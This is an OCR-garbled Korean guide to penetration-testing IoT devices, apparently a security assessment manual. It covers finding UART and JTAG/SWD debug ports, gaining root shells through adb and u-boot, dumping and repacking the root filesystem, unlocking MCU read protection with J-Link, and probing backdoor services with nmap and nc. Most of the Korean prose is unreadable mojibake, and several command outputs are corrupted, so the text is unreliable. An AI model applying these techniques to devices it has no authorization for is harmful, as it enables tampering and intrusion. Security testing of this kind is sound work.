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5.5t=9I0] 3 o EE Al

5.1. [HW-001] 22|X QIE{H|0]A =X} 0of &

T2 Lje
A=A - Device &28ll/71=
- [IE{HO|A EX S5 =0l
OFRt A - Device Li/Q|Z =tQI810], Q0] == 9 M 2 E(Shell 2 Bootloaderdf| )0 &%
TIOo 2o

A Ol &

52l 7t5-80] EX5t= FfF

T A 22H ZEJL EXNY Z2 CHOIA W A|AE> BE =&

=2 H0 Dump A=

mjn

mo

Ho Tl
O

. Bt719k 22 Port
OHs4 Sl ZE o)

[2|£] Device

v o

7ol B2

X PCB L 2 Chip2| DataSheetZ 2015}

=

#20| 7h53 A| O{HLE HAETL TRA

&

2 et

L

|O|

=
L=
[LH=] DeviceZ =15t UART, JTAG/SWD, 12C, SPI, At

o
N
N

or
rok

-

4% 0
12
12}
lo

o x
X

rir

|Ol=

AN =

T4 E 3|2 (usb, SDcard)

PinS= Direct2 HZ5t0] HY O
ZHE|X| 2

X BGA HE{2| A2 ChipOff (Desoldering)?t 282

o
N

EESO Cigt MY M3t =X

go O
]

=
2M7| &#88 Edl| Debuglll &8 753t ZE7}
O

(&Kl Desoldering 2 0fl= 3+ £F X ZH]

1 |2 |rH

-
i

A

M7t gdg = A
xjorx - Shell §2& Sl B0 Dump St 44510
. - FilesystemOf M&E F2 mAM 52 HEE =
°e - HAE HROE Aol YU|O|EE =~BI0] 7|7|E 2tTSHA Hojg 7tsH0| /US
- U/el 22t S2|8 QIHI oA MA
HOFCHAY - MCUOIM K| J5t= 42 Eot 7|s& AH8SHY ¢
M OROWES B
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5.1.1. &1 Abgt

e
—MHEQHN%EOMWI

Din

R MEfOf A ZISSHTE

L (Teardown, Disassemble)S 22 AMH

X & YT Device 2 73—?— —.‘?'_—5H AM ATS S siH|, 2 23 7|
AMote 2 E 82 Al=dhs 40| BLt

*MEs Zoot=d AoME Ef%

-+, ERLOIHY (AHO| =

- BEtAE uid £ (g 2ol 2dl)

-HE eEd = (HE vt 2RI US B9

- EHA (e ")
* JHE S0 of2fo| S+ B A E AHESHRICT

- HE[HIAH (MY =0l 871 =0l

- HHEE (HE/FY), g HHE T, EHE 7|7
*UART HZ S =2 ALESIRALE

=]
23l EtEo| ME
2

- FTDI - FT232 (3.3v / Normal USB Type)

5.1.1.1. 2| F QIE{H o] =l
Device 2|5 0|A 29l 7158t Interface = CHEZX S 2 USB, RS232, Ethernet (RJ45) , SDcard 7+ QUL

L g A/UH:;UH‘HM/LIu“.n..p\II|AIII‘!;:N\\\\\\gul\\\n&\\\\\\ng

USB Type(Male, Female) RS232 SDcard , AUX RJ45 (Ethernet)
A% 3. 2|5 THX} of|A|

Device ZF0| M2tAM = AUX, Wired(RJ42) THAF Smart TV 2| 22 HDMI tHAE & RA|ES 5 Debug SEHCE
=& 7ts% Port 7t EMSIEE QL0 tE Port =0f CHSH AlHO| RME o2 EHQSICT

3% 4. USB ZE7} Q50| LEE oA

2|& Interface 2| =212 £ 7+SSHH Device 2| EH

o
hr
ra
rm
o

h EQST
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O] Device & USB-TypeA (Female) ZEZI ol D7 =0l Al ETELE A= AS ol =+
UAALE
¥ USB Port 2| 22 Dm0l EXHSIK| RX|TH HE ZgE S 4T mode 2 HEE 7Is8E Bz 7|2
Of ol EXSHA| Y= WHOZE HES =8 E= HY: ER5I0

 HEO| 7 ejol HE MED B2S4 HES A0 32 014 2 £29 HB0| 278 2LIct

2713 S0l TR 0| HFCH} A 5, sk o] HEUc

 HE E7|op e E|H o2t 220 AHFCHHA L 07| 222 TS HEe 2E 4HEZ0 =0 "9 7|BZoE

2950 25 @2 Hrot y=¢a MFo| A ELC
a3 5. & oiwdel X7\ W =l

Cted| sy Port o RF T2 FOF HHE UE = 220 Debug 8EE 8 7t ORE FIIE
Zasich HYYo HE HE 7hs(64 &= FAQ ER) Al €7 ofgiet #Zo| 5 HF¥E HE HEB0
adb_shell 2 /4315t 10 0| =EE USB ZEE adb HA0 &8 & = UL}

nu110 — adb shell — 111x36
gun-m:null® gun$ adb devices
List of devices attached
* daemon not running; starting now at tcp:5037
* daemon started successfully
00000534158dd2b4 device

gun-m:null® aun$ adb shell
smdk7570:/ § su
smdk7570: / # id

uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sq

bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u
smdk7570:/ #
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5.1.1.2. Li & QIE{H|o|A =tol

CHEXN Ol L& QB M| 0| A= Of2fet Z Lt

No BH F9 EH F8 Tt

111 HS7| 4

—

UART

. _ Baudrate : - el Tx: HIO|E Lo A+
1 (Universal Asynchronous Receiv

get £ 7|9t 23 Rx : HIO[E =410 AFE

RS232 &8dt= ¢ Be

n
Ofm
z

er/Transmitter)

, DI : GlOJH 4
UTAGI10, 14, 16, 20 Pins
) ) N o TMS(SWDIO) : Mode State
JTAG(Joint Test Action Group)/ = CHEgh #+d0] /U,
2 ] ] _ RTCK(SWCLK) : Clock
SWD (Serial Wire Output) [SWD] 38 #d22 [ Y
Jhs TRST : Reset

°© TDO(SWO) : G|O|Ef =3
12C (Inter-Integrated Circuit) / T = SDA(TWD) : H|O|E M &
WI(Two Wire Interface) ' SCLTWCK) : 2
SCLK : Serial Clock - MASTER & &
_ MOSI : Master Output Slave Input.
ect) ' MISO : Master Input Slave Output.
SS : Slave Select.

SPI (Serial Peripheral Interconn

#7.CHE L5 AE{To|A e

=
i
ro
m
g
o
| >
e
I
>
<
QO
9
<
()
(8]
()
=z
Q
=2
)
o
<
wv
&
I
e
N
o
re
[m
>
1}
fo
o
o
.
(o)
\T
_
o
=
r=
fot
i
40
rot
N
HA
o

AT
1x
o
@D
<.
(@)
D
N
o
4z
HU
i
m
[l
Y
njo
ie)
=}
Okl
ul
ne
k1
;
rir
0z
s}
u
2
<
O
9
<
()
o
1o
e}
Y
rlo
M
H
HU
+>
ogt
s
Ral
e)
]
o
zZ
O

RX, TX & HZSH0{0F =5 =10| 7HSStCt

HHEA] IR(AC v220)7k HZE(0] Yt 2]Zo| XE UE I Ol Al FOYSHOIOF BT £ET} LT S
AC HEUZ ABSHE 2t MAE EECHE AMEIIZH WitDR SEA| Folsh Tastch (MF A7}
HEAH

SHoI0] PF PCALE 271 d& 2 - A2 A g8 = =X Of7))
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I'|

Ofgfl& H4to| ZL2t Debug BHAF 2K AC 3| 29t0| £EZ QI8 PCB 7t 4=l 4

2l 7. L5 ZE =0l A| AC -’Fgl

M

80| ofeljer 2L,

X [EHD] F ™Mo 2 FEHe &= QlOL} Datasheet 212 E3|| pin & Direct Access sh= A7t ULt
BGA HAIO| MCU E E8&3}0] pin Off g HHEO| gls B2
o :

8% H/W 4 =7} sttt

~swbio
(swex /™S

™
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5.1.2. %3 Case 1 (Al AI|#H)

L& QIETo| A0 &ols

28l Device

=i E Aottt

28 7t

st

ot LI # ZEJF AL ALY,

B

UART RX, TX £ =9I
2Holst7| sl &

] Z

| i

=T 83 |73

A & & g 2a5 7T i i

) L Q > ;

a3 11. 28 rxr (UART) ?_l 01IAI
St VCC, GND EE7t QICh VCC MYS olst Znt 33v ion ZE E3E
HHstn pC of SIASHRACH LN A2[Y tﬂﬁel 182 2 JtEo|H Yt ol
X = 23}tCh

ol 2 JHCH ol L, (RX B

NU110_POWER KEY_MCU_V0.11

20180529

Designed by HAJEN Korea
Nv-0A 1530 é'j

CEE CA-F120

) Balw a
B @
e [ J

b

MNZ BICHE 01740H0|: o|-|3§ —7,‘—0|7|-

UART <-> FTDI —

FT232 HijM

% 12

UART <-> PC &
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EOj22| SXAt7t MA|= &% Baudrate #4

o
MY Al 28 21 5 o)

Grinawn Pover Stati Sxadedsets
GAaown Poer Stat

Cored: vt Pover Stat

EFEEEE]

i

§zr

AME{(Ox0D) Y™ Al (u-boot) Shell =2l

[Boot Parameter A 7t5 =91

1% 13. Bootlog &3 U & HZ ¢l (H
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5.1.3. 23 Case 2 (Al AI|#H)

L& QIE{ @ 0| A0 2012 2[3l Device 23S A|=8}LLY,

12! 14. Device 25l A=

X 2o M gMATE SOl sl ME2l 2o Al HO|X|E ZAHSHRALE

SHO| EMStE 4T TMxx EA[E HAFSS| 28 Y Bis 2ols TSRS odE= HE F0| 2AL K|
URUACL ( Debug EHAtE MY =22 JHsd M3 )

A ATS B3 24 BE 9|3 EAY H0B0] TMxx HEf DRSO 24 U8 57} 0l Al SH¢ 2E0|
US| R Ut

0 EQST
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5.1.4. ¥ 2} Case 3 (

Li £ QlE{mo|AQl 2ol

FE HA)

Mo

Ho

—

|8 Device 23S A| T 3tC}

g% v ZE £0l0| 7Hs38tSict
VDD MQHS 3tolst A1} 33y 0|0 ZE =SS 30I817| &l siTt TES HmWsln pc o HESI 21 53HS

P COM4 - PuTTY

13 19. Bootlog £3 &0l
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=
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- Device £}
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- Device L}
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© d}o
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22 37}

X Al /U5 20| s || BR (ex =O01E) oH7| O
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=
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.
o
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ol

d

[3121] 2/219] ABA7H S 0A DeviceE £ 4= 9

8 S7E Soll =I5k He B W7 BHX=E EA (?

=L
0o
Kl

xd

X

5.2. [HW-002] &5l =l oj+L|
A=A
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_

ud
=H]
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ol
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80
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5.2.1. 21 A}gt

5.2.1.1. 26| wX| diok

X SIS Aol [HSWe Ty} A5 S QUE 4 Qoo = Qo3| of Fir}.

RZo| =g HO| CHsl Z2tAE HEo| LXK EXS 0|2310) 23 A(A/S S £2| 2X) E4 ZTE ALRH}A|
OIS A HARCE JLASH= 70| MY SMXOoZ KO0 JH53ICH (RAEL O HUSHH 70| Tadh
LEAF R20 20| 75 4 Qs HEX Ol Loto] Chs 7|28t GIE LIAF Q0= CHYFsH LIAFS 0] ZXjeh

bl o L L

=

M

o E=FE—)

HE 2 23/ (SRTS) 2AIO|E A3 F(SROS) EZI0| & A3 F(SRWS) 62t HE A3 2 (T LYZEY
EE QI ZH =2E '34%? =EE Y 37 =EE Y 37
=0 2t E) MEQl 2 otzfet ZCt
5y H 253 Hot- 29l
VOID 21 VOID 21& VOID Hjo|= W El»‘i,___ﬂ
P
o\“’a .
B e "
5.2.2. F2 Case 1 (Al 2I]|F)
Li £ QIE{m|o[ A0l =12 {3l Device 2HE Al BHCE.
a
. [}
$ R
4
1

ol Al Al EE LEA} +

Z=Eo| g

A 7tssEALt

12! 21. Device 28| A|E

C B AME SOl £ S 2HAS A8StAL Nl EdS
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5.2.3. ¥ Case 2 (

ol 2l

L& QBT o] 20| 2t

12l 22. Device 25l A=

g2 2ESHA| ot X =0l

ol E
1 L—- /| O

A

o Al Al 2 LEAL '+ HE| AL 0|11 SO SRS AR5 L T

g7 7HSotRUEt
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5.3. [FW-001] S0 =5 7H5 of =

T+ Lig
A=A - Device 28l/70Z=
- [RIHEO|A ZE 2

S5 H9Y0f 53 Jh5 ol 2ol
D

HYO{E FE5I7HL} DeviceOll EXSH= Filesystem= FEE 4= AU 7+s40| e FHAH

B2 THUZ M2 B 4 Sl YHO| g

- [#12f] Device LHF ZEZE St & §20|
o
+ Device®| &K ShellS S3ll Filesystem Dump7t 7}5%+ 4
Ox YUOO|E = A X 2E0| 27ts & = UD)
C+ AN =S A FH2

- MZ=APE HET

9
80[517| {20l F 2

)
O
- Device Wi MYE= 23, 278 50| HAUO LhH22E URL =X o2

.+ HEYA T Y ZEE 08310] WY OIS 5 st AL A

o
7
+ Boot Parameter 87 7} ShellS &3l Filesystem Dump?t 7t5%t 4%

- [F19f] YEIOIE =& Al HIERR 4 72F LM HYYO & 50| 7tsot 82

X PCB Lf =8 Chipdf 2| HZo0 HAYNE =50 B FA2 2 TS| @ia
X Chip Off (Desoldering)2 &0l HY0IE F=ot 42 FL= LTLISHK| b=
Ff - Shell §22 &3l Filesystem= Dump St 24510 F 4™ 240 &
gy © Filesystem DumpS 3l 2 A% DIASHM HE =S
- W2l EZast S2[X QIH oA HA
HOFCH &Y - AEAQ HYYO 20| ({HES BGA L4 &
A

- HERR 712t & HAYOE 2 S5IHELE Filesystem 20| OEEE Y25t HE

29 "o FE 7ts %
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5.3.1. ¥ 2F Case 1 (Al AI|H)

Boot Parameter Q1= @[3l of2fje| HHOE HAS D 2 Filesystem O Load &= EFE TmASHRULCE

=

=

# printenv
baudrate=11520v
bootcmd=movi read kernel @ 40080000;movi read rootfs © 42000000 AG0009;movi r d O 48000000;bootm 40080000 42000
000 48000000
bootdelay=3

rootfslen=0x137594
stderr=serial
stdin=serial
stdout=serial

Environment size: 227/16380 bytes

B

12! 23. Boot Parameter Q!

£ Hoig Byte B9 20| 212 MASHE HEIZ Dump 2 S3H9ICH
logfile is : log.txt
initstring : none
exit_after is : not set 00 log.txt

exit is : no

Type [C-a] [C-h] to see available commands

Terminal ready
printenv
baudrate=115200

eSS DL T LR LSRR LIS ERU IR LAY 42000000 1 Bb 08 0@ cb b2 10 Sc 00 ©3 94 bd 09 7¢ 53 ¢S5 ......

000 48000000
bootdelay=3
rootfslen=0x137594
stderr=serial
stdin=serial
stdout=serial

Environment size:-227/16290. M tec

# nd.b 0x42000000 0x100 42000050: 17 45 24 75 bd 42 29 0 14 81 9¢ ec of 33 73 62 .E$2.B
42000000: 1f 80 o6 Y0 CO DZ TV SC Vo 03
42000010: fa 3f 3¢ 27 eb ¢9 d2 36 2d @5
42000020: 96 b2 59 10 bS od el 90 22 d0 8 42000070: 67 9¢ 67 56 £3 75 €6 eb cc 05 66 73 ¢1 68 73 b1 g.gV.u
42000030: 39 2d 05 2a a2 96 45 49 11 11 7

Environment size: 227/16380 bytes

# md.b Ox42000000 0x'1 1000

42000010: fa 3f 3c 27 eb ¢9 d2 36 2d 05 ba 01 27 dd 48 cb e,
42000020: 96 b2 59 10 bS5 0d el 99 22 ¢0 82 54 11 51 53 64 ee¥euu
42000030: 39 2d 05 25 22 96 45 49 11 11 71 ©b 8a 52 10 bS 9-.»..

42000040: 00 57 Ob 9> 36 20 45 od 1B 54 f4 €2 82 37 01 be M..6

42000060: ¢2 20 f7 fe fe 2f 7¢c 26 67 72 ce cc f3 9¢ 599  ..... /

Of2f= Kernel @Y HZE HIO|HE[E2 BHE O binwalk & &8 22l A| Linux F& 2HQ10| 7ts3HRALE.

— -bash — 111x36

gun-m: gun$ binwalk kernel.bin

DECIMAL HEXADECIMAL

7508088 0x729078
20150123 (prerelease) (GCC) )
8128665 0x7C0899
8128689 9x7Ce8B1

8128721 2x7CesDd1
8128745 0x7CO8E9
9441793 9x991201
: “Oxbuffers", file size: "Oxallocate"

9469475 0x997E23
9490497 0x900041
9502750 0x91001E

DESCRIPTION

Linux kernel version “3.18.14 (release.machine@aidevsw-desktop) (gcc version 4.9
#L OMF FRECHIPL WeO AP 35 10149110 AOI £7

eCos RTOS string reference: "ecos_booster_init"

eCos RTOS string reference: "ecos_booster_request_pm_gos"

eCos RTOS string reference: “ecos_booster_start"

eCos RTOS string reference: “ecos_booster_stop"

ASCII cpio archive (SVR4 with no CRC), file name: “ssor failed", file name length

Copyright string: “"Copyright (c) 2086 Red Hat, Inc., Ingo Molnar"
Unix path: /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Unix path: /arch/arn64/1nclude/asm/pgalloc.

12! 25, Linux Kernel H & 2ol
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Root Filesystem =& X Mt =9l (cpio archive)ES ZASHRALE.
® "0 _rootfs.bin.Z.extracted — -bash — 111x36
gun-m: gun$ binwalk rootfs.bin.Z

DECIMAL HEXADECIMAL DESCRIPTION
) ox0 gzip compressed data, from Unix, NULL date (1970-01-01 00:00:00)
gun-m: gun$ binwalk -e rootfs.bin.Z

DECIMAL HEXADECIMAL DESCRIPTION

0 ) gzip compressed data, from Unix, NULL date (1970-91-91 00:00:00)

gun$ 1s

dtb.bin kernel.txt nugu_boot.pcap

dtb. txt ldfw.2.txt

kernel.2,txt ldfw.3.txt
dtb.2.txt kernel.3.txt ldfw.bin rootfs.bin.mod
dtb.3.txt varnel.bin ldfw. txt rootfs.txt
gun-m: gun$ cd _rootfs.bin.Z.extracted/
gun-m:_rootfs.bin.Z.extracted gun$ 1s
0
gun-m:_rootfs.bin.Z.extracted gun$ binwalk @

DECIMAL HEXADECIMAL DESCRIPTION

0 0x0 ASCII cpio archive (SVR4 with no CRC) file name: “acct", file name length: "0x00
000005", file size: "Ox000000v0"

116 x74 ASCII cpio archive (SVR4 with no CRC), file name: “cache", file name length: "9x®
0000006", file size: "0x00000000"

SiE oo =M E +ASHACE

gun-m:_rootfs.bin.Z.extracted gun$
gun-m:_rootfs.bin.Z.extracted gun$ cd ..
gun-m:null® gun$ mkdir rootfs

gun-m:null® gun$ cd rootfs

gun-m: rootfs gun$ zcat ../rootfs.bin.Z | cpio -idmv
acct

cache

charager

Filesystem Ll £ 2| IS =I5 RACE.
vendor i
AT3R hlncke
gun-m: rootfs gun$ 1s

seapp_contexts
selinux_version
sepolicy
service_contexts

default.prop

ueventd.goldfish.rc
file_contexts.bin ueventd. ranchu.rc
fstab.goldfish ueventd.rc
fstab. ranchu ueventd.samsungexynos7570.rc
fstab. samsungexynos7570
property_contexts

’gun-m:rootrs guny

& 28. 7|7|LH0IM F=ZEl Rootfs 20l
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5.3.2. %3 Case 2 (Al AI|#H)

L& QI H[O] 22| 2H2lE {3l Device =3HE Al =3t

18! 29. Device 25l A=

RS232 2 HZ Al of2iet Z2 Openwrt 25 =9l 8! Busybox &2 ZQISHRULCE
F

COM:

[_[O[x

1% 30. Busybox 22! 3 chroot Q!

o COM3 - PuTTY

3% 31. Chroot M8 U F M o HAH =0l E7}

X unchroot 3HO = NSEX| $ol, I=2A AL

=7hs 8L} (https:/github.com/earthquake/chw00t

mjo
ofm
o
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5.4.[FW-002] 9|0 H=X M8 715 &

T& LH &
A=A Hallol 25 22 MHE HS
[HZE O HE 7ts O F]
xjorEl o Yo|o| HYYOE YHOIE StALE HEE Filesystem H&0| 7t 82 717|129 S\WE ¥
o] J§&=5t0] 50| 7hst FA4H
x HAE HYY ool Qlsh CHa 71717k Y7HE 5= L] Fo| HR
+ CIYot 25 Sl 2=t Eelof7t ofzfjet 20| ME0| 75t 32
BCHO|E - [F2f] HAllo] YHIOIE 7|52 Sl HEE HYNHE SA HE 7ts ot 8%
- [F% REEHE Sl Y2lo| B0 =2 Filesystem= Loadst] ¥ 7ts3t 22
HHE HZE HAolZ Yo YUHI0|EE /BN 7|7| & &TSHA Mojg 7Hsd0] /S
Hste B - =TT = 7
Hellol s A8 45 €
wolcy Filesystem?| 7+& H HZ O 45 EQ
Li/Ql 2%t S2|% IHHO0A HAH
Mg =233 58 8¢ O/ ZE 2& 5 A=E 7+

storaqe_ default.prop
sys

system 4> default.prop

veventd.goldfish.rc

E
veventd. ranchu. rc

# ADDITIONAL_DEFAULT_PROPERTIES
E]

::::2:6. Samsungexynos7570. rc ro.securesl

security.perf_harden=1

4738 blocks ro.allow.mock. location=@

o Adabismms LN PN )

pers:st.sys.usb.default:hosd

PEISASLOYSUSU LU Ag=¢uu

ro.zygote=zygote3i2

pa. dexopt. first-boot=interpret-only

pn.dexopt.boot=vcr11y-prof11e

1% 32. USB HOST o2 HYA

veventd.rc

gun-m: rootfs gun$ 1s

rE
ox
o
El
e
mm

Qt
of

i Filesystem = X235 SHRACE

veventd.goldfish.rc
file_contexts.bin veventd. ranchu. rc
fstab.goldfish veventd.rc
fstab. ranchu veventd. samsungexynos7570. rc
fstab.samsungexynos7570
property_contexts

gun-m: rootfs gun$ find . | cpio -0 -H newc | gzip -8 > ../rootfs.bin.mod
4739 blocks
gun-m: rootfs gun$ cd ..

17 33. FileSystem X &%
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e L = pluu Lumnarn ucsuxptu)wusage
iminfo - print header information for application image @
imxtract- extract a part of a multi-image

I‘\

O30 O5=NEC0TU Tile Over SeEriatl Lune
load binary file over serial line (ymodem mode)
infinite loop on address range
memory display
memory modify (auto-incrementing address)
- MMC sub system

mmcinfo - display MMC info

movi movi = sd/mmc r/w sub system for SMDK board
mtest simple RAM read/write test

o memory write (fill)

nfs boot image via network using NFS protocol

nm memory modify (constant address)

ping send IOMP ECHO_REQUEST to network host

printenv- print environment variables

protect - enable or disable FLASH write protection

ramdump - ramdump - initialize USB device and dump Mem

reset -~ Perform RESET of the CPU
rpmb - RPMB test commands for SMDK board

13 34, 97 U a2 9l

Device 2 M&S A| =5 RALCH

kermit.sh

kermit.sh

line /dev/tty.usbserial-AGO264FG

2t speed 115200

serial 8nl1

flow-control none

et file type bin
t carrier-watch off

prefixing all

t modem none

sout "loadb Ox42000000"

- ® Desktop — kermit ~/bin/kermit.sh — 111x36
C-Kermit 9.0.382 OPEN SOURCE:, 20 Aug 2011, gun-m.local [192.168.0.12]

Current Directory: /Users/gun/Desktop
Communication Device: /dev/tty.usbserial-A68264FG
Communication Speed: 115200
Parity: none
RTT Timoouts 01182
SENDING: => ROOTFS_BIN.MOO
Filie 1ype: pinaxy
File Size: 1271434
Percent Done: 17 ////117/-

eee10,..20...30...40...50...60...70...

Estimated Time Left: 00:01:52
Transfer Rate, CPS: 9320

2! 35 Kermit

3 92 T 25 2 YO 58 U2 HAGYLL,

42000010: 54 @b o6 32 34 A5 Oh &7 74 50 7a 55 79 ee 94 eb
# movi read kernel @ 40080000
reading kernel..uevite v Start Z543, Lount 40960

1...4e.g=Y~Uy...

MMC read: dev # 0, block # 2545, count 40960 ... 40960 blocks read: OK

completed
4 movi r d @ 48000000
reading dtb..oevice v Start $0/53, Count 2048

MMC read: dev # 0, block # 96753, count 2048 ... 2048 blocks read: 0K

completed

2 set rootfslen @x13668A

# bootm 40080000 42000000 48000000
reading dtb..device @ Start 96753, Count 2048
MMC read: dev # 0, block # 96753, count 2048 .
completed
[FOT] : fdt rsvmem add 000000AAT~4AMAAA AAAAAAAAAT ~AAAAA
[FOT] : fdt set /chosen linux initrd-start <@x42000000>
[FDT] : fdt set /chosen linux initrd-end <@x4213668a>
[FOT] : fdt set /ect parameter_address <@x7edfadod>
[FOT] : fdt set /ect parameter_size <Ox6000>

Starting kernel ...

30
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Device 2|5 USB <-> PC ¥ZS A =5}SLCt
VEES

121 37. 2|5 USB ZEE E©8%tadb ¥ AL

M7 W2 82 S8 Android & adb(Android) H20| 7H5ES BHelstCt
@ @0 — adb shell — 111x36
gun-a: gun$ adb devices
List of devices attached
+ doemon not running; starting now at tcp:5e37

« daemon started successfully
00000534 158dd2b4 device

gun-m: _____ aqun$ addb shell
smdk7570:/ § su
endk 75702/ £ \d

uid=d(root) gid=@(root) groups=8(root),1004(input),1007(10g),1011(add),1015(sdcard_rw),1028(sdcard_r),3001(net_
Dt_admin),300Z(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=y:risu:séd
smdk7570:/ #

18 38. X Filesystem Load A] 4 5%} gtol
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5.5. [FW-003] & 0|8 of 5t

= Lhg

- Device 28l/70Z=

HrM=A _
- MCU SF0| 2 C|HA 22

- [ Djgez ETEE F S EXN /7 =)
Fd 29 + Device Chipset, 8 11, 71 &&= MB|AS0f Ciet 22+ BF0| Djge 42 & ==/4
2 S0 48 tset FAY

N
SGEEEE

© + Busybox 2t 22 M& =752 =l

- [F12H] nc, wget, telnet, ftpet 2HH El DY ME0| 7ot FEH0| 0|
et ) -+ AH[A 47 0|5 2t FUH =0l
e v|E h
- [#]2f] DeviceOl M H2 753 MH|AFTP SSH, Web &)7+ 22t 4

o= EM2 HEEE 3%

SMHIA U =9 AN T ES FHolste] X[kt AR 0

- + Datasheet 5! 34! ZH|0|X|2|] Document 212 3 MCU E2 7| 59| X305 20l

Ot7] 50| M-2E&|0 Debugging X Dump?t 7+t 42

X 71502 shell H20| 7H5hn, 8% THU0| BE £X0| H58 ZS

%|okx . HZE Q0] LoadE £l AHE & ZZAKXIO| QO|THE Device M|O7} 758 4= Qe
gk - MH|29| FAHE SOl T TUASS EFISHL shell 50| 7tse = U,
HBEE B 282 o5t 0|8 HEY = UEE ¢
(ex: Secure lock, jtag password EH &)
- Busybox T4 (menuconfig)2 285t0] 2tz HHO N+ M7 = Build =3
worry =EH2 MH[AY 2 MH[AF HAg
- MH|A9] 47EE HESHY FATHS M

-+ 7St 4R
- Secure boot 7|5 &

= =3
o =0
- S}E90f 2ot 25 (T

rusted Platform Module) A2

E 11. MH|A 87 0|
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5.5.1. ¥= Case 1 (T O0{Z})

[F2lAkEh
- Chip 2| M|Z=A} OtEt M2 CHE Debugger 7F 2 2% 3= UZ. (ST-Link, J-link &)
X 2 L Z Device 2| 4% 2ol © M ATZ Eof| ok, 2 2 7| E (Teardown, Disassemble)e 22 At

HMB0) B E 212 At 0| Bt

[EHI=2]

- SEGGER J-Link v8, v9, v10 Debugger [&& X|E0|0 version 2| Edition E7|s Xt0| ), FAIHEE2ERN]
* S/W
- SEGGER Z|O| X| &1 (https.//www.segger.com/downloads/jlink/)

EFM32G232XXX AY¥ MCU £ ZQIst¥ 1 DataSheet =t

A2 =l

softuare suppart

Disabling MCU Security features oF Connecting 16  secured Torget MCU

Disabling MCU Security features or Connecting to a secured Target MCU

The SEGGER Software natively supports automatic protection detection and unlocking of various different devices. Once a device is detected as being in a protected state, J-Link attempts to lift the
protection in order to make development and debugging with the device possible. If connecting to a (retractable!) secured device fails, please get in touch with with the SEGGER support. For some
device families, the J-Link software supports not only unlocking, but also restoring factory default settings of the target MCU via the J-Link Commander "unlock” command or the dedicated "STM32

Unlock" application.

Enabling MCU Security features

There are currently two possible ways to enable security features of a target MCU using SEGGER programmer / debugging probes:
1. Enable the security from within the target application or bootleader at runtime (usually at the first boot)
2. Securing the device by executing the necessary Memory and/ar SFR reads and writes, which can be dane via

1. J-Link Commander
2. J-Link SDK functions

18l 39. MCU EQF SM =l

AR

O3 40.SWD HE A=
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Debugger € &3l HZ2| =l A|=E {8 MEAN HE =72 85I 2L MCU(Micro Controller Unit)
HOot7|50] o3t HYO E= &dztE = ISR

SEGGER J-Link Unlock STM32

This program is designed to rest the option bytes of 3 STM32 device
to their factory settings. If read protection of the deviee is enabled,
reset the option bytes will cause & mass erase.

B EPS .///'215"\’,712!:

lad S 77019 10 185)
umpled Ak 2 2010 10155

T -

Kl J-Link vB.48b Info

r . Secured Silicon Labs device detected. This could cause problems during flazh download.
L I Mote: Ungecuring will tigger a mass eraze of the internal flash,

Do you want to perform an unlock of the device in order to guarantee proper flash download behavior?
If "Da not show this message again' is selected, your choice will be remembered and be performed automatically in the: future.

™ Do nat show thiz message again

2! 41. SEGGER commander, J-Flash 715 A| 25 HA|X] =0l

X [F2] HM XIS Solf 2T Y2l2| Debug lock SHHE et 23TE FF Al A HAH =l (A/S

=71S). - (https://nathan.vertile.com/blog/2017/03/05/unlocking-stm32-chips/)
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https://nathan.vertile.com/blog/2017/03/05/unlocking-stm32-chips/

5.6. [FW-004] E22% Y ESA MH|A =X {5

TE L&

- Device 25ll/7i1=
- B 25 22 AMHAS

= 1 1=

HH=d

- [EEAs MHl20] Z1 82 el
*orE M Device ALS Al 2TRE AHIASS S8 Device Lh2] H2ot BE|HL} Clbto|AZ Fot

S 7Hs 0| EXHSHs X oFH

rot
ol
P
oH
2
I

=
- 228% MH|~ B HlE 715 RS 2Qlsof g (RS0Ie B9 AFEAL 2
M3 ER)

- FTPR Telnet, SSH, NFS, Upnp

- Shell 20| 275 ot 4%

) - S DeviceOl ip7k ZEEIO] ACE SHT PO CHSH ZE AFfHS 4
B 7|
7 XH°’ B2 T 2ust0] 2ol
Sl EESO| f3 22T HOpY 2l
% 27102 shell H2O| THs AL
- shellish, busybox)Oll Al netstat S2| HHOIS FEH0] QIROIA B TH53 ZET} s

x| =l

o - M ol 9o|2 HBEHE AHIAS S8 ClHH0| 2 Koto| 28 (Backdoon)
g2y - N8R} QIX[SHR| ROt MHIAS BHR} 248 + IS
soltfy - 2ERY UEYD A8l R

H 12. 2% Y EQT MHA
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5.6.1. %3 Case 1 (Al AI|#H)

SiE X0 1P 7F 2HO| =[0] A0IA Of2fet 20| ZLE AZHS +HSHACE

File Edit View Search Terminal Help

# nmap 192.168.43.1 -p 1-65535
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-15 08:21 EST
Nmap scan report for 192.168.43.1
Host is up (0.0081s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE

9000/tcp open cslistener
MAC Address: DO:C5: (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 464.04 seconds

HEH2Z 9000 ZEO HZ0| 7hsotX2 siFst= ZEO et €2l HZ WEHoZE= oI ZEOA
MEote MHIA0| Fog 4 QACEH £ i ZEO| Cfef LEHOIX| G2 HO|H HES AESIRA2Lt S
glgs olskint

File Edit View Search Terminal Help
~/jmichel-tools-b37339dd9c8f/chw@dt-master# nc 192.168.43.1 9000

~/jmichel-tools-b37339dd9c8f/chwoOt-master# ftp
open 192.168.43.1
connect: Connection refused
SIC
quit
~/jmichel-tools-b37339dd9c8f/chwoot-master# [j

33 43 €T M| A FHZ YA R HI ME

e ZEZ E3f WEYI MHAS =QIst At /home/media HFO|HZ|Of 28 AMH|ALD
(netstat —atp) St S Ct.

A3 44.0HZ ZES

ofm

3t 4 EQT MH|A =l

=
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fjo
iel;
38
|0
-
nE

ST HiO|LH2| Lo A2 Q10| 7t53tF OO, recy, bind 52| EAIZE APl 7|FCR2 BXM

=

FE7t gl3S oAt

DA - media DoW[2019)0THI TENS B & 0912 media - 0
fle Edit Jump Search \bew Debygger Lumniga Qptions Windows Help

B e 8 B 3w W@ Kl e X » O O]Nodebugger T R @

Vi I I I R ..k

Library function [l Regular functicn I Instrucon 10 Data [ Unexplored | External symbol Il Lumina function

[7) Functions window oe x| @0 @0 B0 Be-o B0 Be-0 GBe-o B0 Be-o B0 B0 B0 B0 Sw-ab

Function name = 26
(7] json_object_get string
(7] logrof

(7 ferror

(77 difftime

7 g0

(7] bsearch

(7] curl_glabal_init

7 kit

(7] xmiDocGetRootElement
[£] peintmsg

7] sendto

}
262 if (s )
